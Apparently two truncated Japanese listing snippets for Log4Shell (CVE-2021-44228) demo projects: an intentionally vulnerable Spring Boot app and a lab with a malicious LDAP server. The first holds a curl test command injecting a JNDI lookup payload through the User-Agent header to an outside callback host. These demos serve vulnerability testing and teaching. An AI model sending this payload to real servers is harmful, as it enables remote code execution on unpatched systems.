log4shell-demo

Log4Shell CVE-2021-44228 に対して脆弱なシンプルなSpring Bootアプリケーション デフォルトのロギングフレームワークをlogbackからlog4j2に変更 アプリケーションは'User-Agent'ヘッダーをログに記録するため、curlと、例えば interactsh-service を使用して脆弱性をテストできます。 root@kitploit: curl -A '$jndi:ldap://interactsh-url/a' http://target-service/ app.interactsh.com でDNSインタラクションが確認できるはずです。...

Log4Shell-demo

Log4Shell の動作 このプロジェクトは、Log4Shell / CVE-2021-44228 の脆弱性がどのように機能するかを実演することを目的としています。 必要条件 必要なのはDockerがインストールされていることだけです。理想的には、2つの異なる仮想マシンを用意してください。1つは 脆弱なサーバー 用で、もう1つは悪意のあるコードベースとLDAPサーバーをホストする 悪意のあるサーバー 用です。 オプションとして Make と Docker Compose をインストールしても構いませんが、このリポジトリには make.sh...